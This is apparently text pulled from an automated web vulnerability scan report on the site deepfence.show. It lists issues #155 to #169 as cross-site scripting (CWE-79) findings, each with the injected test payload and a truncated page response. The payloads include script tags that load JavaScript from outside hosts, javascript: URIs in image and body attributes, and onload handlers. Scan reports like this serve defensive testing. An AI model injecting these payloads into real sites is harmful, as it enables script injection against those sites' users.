iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #155
Cross Site ScriptingScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT SRC=http://soapui.org/xss.js?<B>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #156
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT SRC=//ha.ckers.org/.j>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #157
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="javascript:alert('XSS')"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #158
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io <iframe src=http://soapui.org/scriptlet.html <
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #159
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #160
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io \";alert('XSS');//
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #161
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io </TITLE><SCRIPT>alert("XSS");</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #162
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"
>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #163Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BODY BACKGROUND="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #164
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BODY ONLOAD=alert('XSS')>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #165
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG DYNSRC="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #166
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io <IMG LOWSRC="javascript:alert('XSS')">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #167
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BGSOUND SRC="javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #168
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BR SIZE="&{alert('XSS')}">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #169
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <LAYER SRC="http://soapui.org/scriptlet.html"></
LAYER>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
